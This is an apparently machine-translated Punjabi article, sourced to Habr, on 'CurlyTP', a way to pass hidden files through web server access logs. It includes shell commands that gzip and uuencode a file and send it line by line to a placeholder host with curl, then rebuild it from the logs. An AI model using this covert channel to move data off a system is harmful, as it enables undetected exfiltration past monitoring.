เจตเจฟเจเฉเจชเฉเจกเฉเจ เจฆเฉ เจชเจฐเจฟเจญเจพเจธเจผเจพ เจฆเฉ เจ เจจเฉเจธเจพเจฐ, เจเฉฑเจ เจกเฉเฉฑเจก เจกเฉเจฐเฉเจช เจเฉฑเจ เจธเจพเจเจผเจฟเจธเจผ เจธเจพเจงเจจ เจนเฉ เจเฉ เจเฉเจชเจค เจธเจฅเจพเจจ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจฆเฉ เจนเฉเจ เจฒเฉเจเจพเจ เจตเจฟเจเจเจพเจฐ เจเจพเจฃเจเจพเจฐเฉ เจเจพเจ เจเฉเจ เจเฉเจเจผเจพเจ เจฆเจพ เจเจฆเจพเจจ-เจชเฉเจฐเจฆเจพเจจ เจเจฐเจจ เจฒเจ เจเฉฐเจฎ เจเจฐเจฆเจพ เจนเฉเฅค เจตเจฟเจเจพเจฐ เจเจน เจนเฉ เจเจฟ เจฒเฉเจ เจเจฆเฉ เจจเจนเฉเจ เจฎเจฟเจฒเจฆเฉ - เจชเจฐ เจเจน เจ เจเฉ เจตเฉ เจธเฉฐเจเจพเจฒเจจ เจธเฉเจฐเฉฑเจเจฟเจ เจจเฉเฉฐ เจฌเจฃเจพเจ เจฐเฉฑเจเจฃ เจฒเจ เจเจพเจฃเจเจพเจฐเฉ เจฆเจพ เจเจฆเจพเจจ-เจชเฉเจฐเจฆเจพเจจ เจเจฐเจฆเฉ เจนเจจเฅค
เจฒเฉเจเจฃ เจฆเฉ เจเจเฉเจนเจพ เจจเฉเฉฐ เจงเจฟเจเจจ เจเจฟเฉฑเจเจฃเจพ เจจเจนเฉเจ เจเจพเจนเฉเจฆเจพ. เจเจธ เจฒเจ, เจเจซเจฒเจพเจเจจ เจธเฉฐเจธเจพเจฐ เจตเจฟเฉฑเจ เจเจน เจ เจเจธเจฐ เจธเจฎเจเจฆเจพเจฐ เจเฉเจเจผเจพเจ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจฆเฉ เจนเจจ: เจเฉฐเจง เจตเจฟเฉฑเจ เจเฉฑเจ เจขเจฟเฉฑเจฒเฉ เจเฉฑเจ, เจเฉฑเจ เจฒเจพเจเจฌเฉเจฐเฉเจฐเฉ เจฆเฉ เจเจฟเจคเจพเจฌ, เจเจพเจ เจเฉฑเจ เจฐเฉเฉฑเจ เจตเจฟเฉฑเจ เจเฉฑเจ เจเฉเจเจฒเจพเฅค
เจเฉฐเจเจฐเจจเฉเฉฑเจ 'เจคเฉ เจฌเจนเฉเจค เจธเจพเจฐเฉ เจเจจเจเฉเจฐเจฟเจชเจธเจผเจจ เจ
เจคเฉ เจ
เจเจฟเจเจคเจเจฐเจจ เจเฉเจฒ เจนเจจ, เจชเจฐ เจเจนเจจเจพเจ เจธเจพเจงเจจเจพเจ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจจ เจฆเจพ เจ
เจธเจฒ เจคเฉฑเจฅ เจงเจฟเจเจจ เจเจฟเฉฑเจเจฆเจพ เจนเฉเฅค เจเจธ เจคเฉเจ เจเจฒเจพเจตเจพ, เจเจจเฉเจนเจพเจ เจจเฉเฉฐ เจเจพเจฐเจชเฉเจฐเฉเจ เจเจพเจ เจธเจฐเจเจพเจฐเฉ เจชเฉฑเจงเจฐ 'เจคเฉ เจฌเจฒเฉเจ เจเฉเจคเจพ เจเจพ เจธเจเจฆเจพ เจนเฉเฅค เจฎเฉเจ เจเฉ เจเจฐเจพเจ?
เจกเจฟเจตเฉเจฒเจชเจฐ เจฐเจฟเจเจจ เจซเจฒเจพเจตเจฐเจเจผ เจจเฉ เจเฉฑเจ เจฆเจฟเจฒเจเจธเจช เจตเจฟเจเจฒเจช เจฆเจพ เจชเฉเจฐเจธเจคเจพเจต เจเฉเจคเจพ -
เจเจน เจชเจคเจพ เจเจฒเจฆเจพ เจนเฉ เจเจฟ เจเฉเจ เจตเฉ เจตเฉเฉฑเจฌ เจธเจฐเจตเจฐ เจคเฉเจนเจพเจจเฉเฉฐ เจฒเจพเจ เจตเจฟเฉฑเจ เจฒเจเจญเจ เจเจฟเจธเฉ เจตเฉ เจธเฉฐเจฆเฉเจธเจผ เจจเฉเฉฐ เจธเฉเจฐเฉฑเจเจฟเจ เจค เจเจฐเจจ เจฆเฉ เจเจเจพเจเจผเจค เจฆเจฟเฉฐเจฆเจพ เจนเฉเฅค เจซเฉเฉฑเจฒ เจนเฉเจฐเจพเจจ เจธเจจ เจเจฟ เจเจธ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฟเจตเฉเจ เจเฉเจคเฉ เจเจพเจตเฉเฅค
เจเจน เจเจน เจตเจฟเจเจฒเจช เจชเฉเจธเจผ เจเจฐเจฆเจพ เจนเฉ:
- เจเฉฑเจ เจเฉเจเจธเจ เจซเจพเจเจฒ (เจเฉเจชเจค เจธเฉเจจเฉเจนเจพ) เจฒเจ เจ เจคเฉ เจนเฉเจธเจผ (md5sum) เจฆเฉ เจเจฃเจจเจพ เจเจฐเฉเฅค
- เจ เจธเฉเจ เจเจธเจจเฉเฉฐ เจเจจเจเฉเจก เจเจฐเจฆเฉ เจนเจพเจ (gzip+uuencode)เฅค
- เจ เจธเฉเจ เจธเจฐเจตเจฐ เจจเฉเฉฐ เจเจพเจฃเจฌเฉเฉฑเจ เจเฉ เจเจฒเจค เจฌเฉเจจเจคเฉ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจเฉ เจฒเฉเจ เจจเฉเฉฐ เจฒเจฟเจเจฆเฉ เจนเจพเจเฅค
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
เจเฉฑเจ เจซเจพเจเจฒ เจจเฉเฉฐ เจชเฉเฉเจนเจจ เจฒเจ, เจคเฉเจนเจพเจจเฉเฉฐ เจเจนเจจเจพเจ เจเจพเจฐเจตเจพเจเจเจ เจจเฉเฉฐ เจเจฒเจ เจเฉเจฐเจฎ เจตเจฟเฉฑเจ เจเจฐเจจ เจฆเฉ เจฒเฉเฉ เจนเฉ: เจซเจพเจเจฒ เจจเฉเฉฐ เจกเฉเจเฉเจก เจ เจคเฉ เจ เจจเจเจผเจฟเจช เจเจฐเฉ, เจนเฉเจธเจผ เจฆเฉ เจเจพเจเจ เจเจฐเฉ (เจนเฉเจธเจผ เจจเฉเฉฐ เจเฉเฉฑเจฒเฉเจนเฉ เจเฉเจจเจฒเจพเจ 'เจคเฉ เจธเฉเจฐเฉฑเจเจฟเจ เจค เจขเฉฐเจ เจจเจพเจฒ เจชเฉเจฐเจธเจพเจฐเจฟเจค เจเฉเจคเจพ เจเจพ เจธเจเจฆเจพ เจนเฉ)เฅค
เจธเจชเฉเจธ เจจเจพเจฒ เจฌเจฆเจฒเจฟเจ เจเจพเจเจฆเจพ เจนเฉ =+=
เจคเจพเจ เจเฉ เจชเจคเฉ เจตเจฟเฉฑเจ เจเฉเจ เจเจพเจฒเฉ เจฅเจพเจ เจจเจพ เจนเฉเจตเฉเฅค เจชเฉเจฐเฉเจเจฐเจพเจฎ, เจเจฟเจธ เจจเฉเฉฐ เจฒเฉเจเจ เจเจฐเจฒเฉเจเฉเจชเฉ เจเจนเจฟเฉฐเจฆเจพ เจนเฉ, เจฌเฉเจธ 64 เจเจจเจเฉเจกเจฟเฉฐเจ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจฆเจพ เจนเฉ, เจเจฟเจตเฉเจ เจเจฟ เจเจฎเฉเจฒ เจ
เจเฉเจเจฎเฉเจเจเฅค เจฌเฉเจจเจคเฉ เจเฉฑเจ เจเฉเจตเจฐเจก เจจเจพเจฒ เจเฉเจคเฉ เจเจ เจนเฉ ?transfer?
เจคเจพเจ เจเฉ เจชเฉเจฐเจพเจชเจคเจเจฐเจคเจพ เจเจธเจจเฉเฉฐ เจฒเฉเจเจธ เจตเจฟเฉฑเจ เจเจธเจพเจจเฉ เจจเจพเจฒ เจฒเฉฑเจญ เจธเจเฉเฅค
เจ เจธเฉเจ เจเจธ เจเฉเจธ เจตเจฟเฉฑเจ เจฒเฉเจเจธ เจตเจฟเฉฑเจ เจเฉ เจฆเฉเจเจฆเฉ เจนเจพเจ?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
เจเจฟเจตเฉเจ เจเจฟ เจชเจนเจฟเจฒเจพเจ เจนเฉ เจฆเฉฑเจธเจฟเจ เจเจฟเจ เจนเฉ, เจเฉฑเจ เจเฉเจชเจค เจธเฉฐเจฆเฉเจธเจผ เจชเฉเจฐเจพเจชเจค เจเจฐเจจ เจฒเจ เจคเฉเจนเจพเจจเฉเฉฐ เจเจฒเจ เจเฉเจฐเจฎ เจตเจฟเฉฑเจ เจเจพเจฐเจตเจพเจเจเจ เจเจฐเจจ เจฆเฉ เจฒเฉเฉ เจนเฉ:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
เจชเฉเจฐเจเจฟเจฐเจฟเจ เจจเฉเฉฐ เจธเจตเฉเจเจฒเจฟเจค เจเจฐเจจเจพ เจเจธเจพเจจ เจนเฉ. Md5sum เจฎเฉเจฒ เจเจพเจเจฆเจพ เจนเฉ, เจ เจคเฉ เจซเจพเจเจฒ เจฆเฉ เจธเจฎเฉฑเจเจฐเฉ เจเจธ เจเฉฑเจฒ เจฆเฉ เจชเฉเจธเจผเจเฉ เจเจฐเจฆเฉ เจนเฉ เจเจฟ เจธเจญ เจเฉเจ เจธเจนเฉ เจคเจฐเฉเจนเจพเจ เจกเฉเจเฉเจก เจเฉเจคเจพ เจเจฟเจ เจธเฉเฅค
เจตเจฟเจงเฉ เจฌเจนเฉเจค เจธเจงเจพเจฐเจจ เจนเฉ. โเจเจธ เจ เจญเจฟเจเจธ เจฆเจพ เจฌเจฟเฉฐเจฆเฉ เจเจน เจธเจพเจฌเจค เจเจฐเจจเจพ เจนเฉ เจเจฟ เจซเจพเจเจฒเจพเจ เจจเฉเฉฐ เจจเจฟเจฐเจฆเฉเจธเจผ เจเฉเจเฉเจเจ เจตเฉเจฌ เจฌเฉเจจเจคเฉเจเจ เจฆเฉเจเจฐเจพ เจเฉเจฐเจพเจเจธเจซเจฐ เจเฉเจคเจพ เจเจพ เจธเจเจฆเจพ เจนเฉ, เจ เจคเฉ เจเจน เจธเจพเจฆเฉ เจเฉเจเจธเจ เจฒเฉเจเจธ เจฆเฉ เจจเจพเจฒ เจเจฟเจธเฉ เจตเฉ เจตเฉเจฌ เจธเจฐเจตเจฐ 'เจคเฉ เจเฉฐเจฎ เจเจฐเจฆเจพ เจนเฉเฅค เจเจผเจฐเฉเจฐเฉ เจคเฉเจฐ 'เจคเฉ, เจนเจฐ เจตเฉเฉฑเจฌ เจธเจฐเจตเจฐ เจเฉฑเจ เจเฉเจชเจฃ เจฆเฉ เจเจเฉเจนเจพ เจนเฉ!
เจฌเฉเจธเจผเฉฑเจ, เจตเจฟเจงเฉ เจเฉเจตเจฒ เจคเจพเจ เจนเฉ เจเฉฐเจฎ เจเจฐเจฆเฉ เจนเฉ เจเฉเจเจฐ เจชเฉเจฐเจพเจชเจคเจเจฐเจคเจพ เจฆเฉ เจธเจฐเจตเจฐ เจฒเฉเจเจธ เจคเฉฑเจ เจชเจนเฉเฉฐเจ เจนเฉเจตเฉเฅค เจชเจฐ เจ เจเจฟเจนเฉ เจชเจนเฉเฉฐเจ เจชเฉเจฐเจฆเจพเจจ เจเฉเจคเฉ เจเจพเจเจฆเฉ เจนเฉ, เจเจฆเจพเจนเจฐเจจ เจฒเจ, เจฌเจนเฉเจค เจธเจพเจฐเฉ เจนเฉเจธเจเจฐเจพเจ เจฆเฉเจเจฐเจพ.
เจเจธเจจเฉเฉฐ เจเจฟเจตเฉเจ เจตเจฐเจคเจฃเจพ เจนเฉ?
เจฐเจฟเจเจจ เจซเจฒเจพเจตเจฐเจเจผ เจฆเจพ เจเจนเจฟเจฃเจพ เจนเฉ เจเจฟ เจเจน เจเฉฑเจ เจเจพเจฃเจเจพเจฐเฉ เจธเฉเจฐเฉฑเจเจฟเจ เจฎเจพเจนเจฐ เจจเจนเฉเจ เจนเฉ เจ เจคเฉ CurlyTP เจฒเจ เจธเฉฐเจญเจพเจตเจฟเจค เจตเจฐเจคเฉเจ เจฆเฉ เจธเฉเจเฉ เจคเจฟเจเจฐ เจจเจนเฉเจ เจเจฐเฉเจเจพเฅค เจเจธเจฆเฉ เจฒเจ, เจเจน เจธเฉฐเจเจฒเจช เจฆเจพ เจธเจฟเจฐเจซเจผ เจเฉฑเจ เจธเจฌเฉเจค เจนเฉ เจเจฟ เจ เจธเฉเจ เจนเจฐ เจฐเฉเจเจผ เจเฉ เจเจพเจฃเฉ-เจชเจเจพเจฃเฉ เจเฉเจฒ เจฆเฉเจเจฆเฉ เจนเจพเจ, เจเจน เจเฉฑเจ เจเฉเจฐ-เจฐเจตเจพเจเจคเฉ เจคเจฐเฉเจเฉ เจจเจพเจฒ เจตเจฐเจคเฉ เจเจพ เจธเจเจฆเฉ เจนเจจเฅค
เจตเจพเจธเจคเจต เจตเจฟเฉฑเจ, เจเจธ เจตเจฟเจงเฉ เจฆเฉ เจฆเฉเจเฉ เจธเจฐเจตเจฐ "เจเฉเจชเจพเจเจฃ" เจตเจฐเจเฉ เจฌเจนเฉเจค เจธเจพเจฐเฉ เจซเจพเจเจฆเฉ เจนเจจ
เจเจน เจธเฉเจตเจพ เจซเจพเจเจฒเจพเจ เจฐเจพเจนเฉเจ เจธเฉฐเจฆเฉเจธเจผเจพเจ เจจเฉเฉฐ เจชเฉเจฐเจธเจพเจฐเจฟเจค เจเจฐเจจ เจฆเจพ เจเฉฑเจ เจคเจฐเฉเจเจพ เจนเฉเฅค เจคเฉเจธเฉเจ เจฏเจพเจฆ เจเจฐ เจธเจเจฆเฉ เจนเฉ เจเจฟ เจเฉเจ เจเฉฑเจจเจค เจเฉฐเจชเจจเฉเจเจ เจเจฟเจตเฉเจ เจฐเฉฑเจเจฆเฉเจเจ เจธเจจ
เจเจน เจตเจฟเจเจพเจฐ เจเจน เจธเฉ เจเจฟ เจธเจฟเจฐเจซเจผ เจตเฉเจฌ เจกเจฟเจตเฉเจฒเจชเจฐ เจนเฉ เจเจธ เจเจธเจเจฐ เจ
เฉฐเจกเฉ เจจเฉเฉฐ เจฆเฉเจ เจธเจเจฃเจเฉ, เจเจฟเจเจเจเจฟ เจเฉฑเจ เจเจฎ เจตเจฟเจ
เจเจคเฉ เจธเจฟเจฐเจฒเฉเจเจพเจ เจเจพเจ HTML เจเฉเจก เจจเฉเฉฐ เจจเจนเฉเจ เจฆเฉเจเฉเจเจพเฅค
เจธเจฐเฉเจค: www.habr.com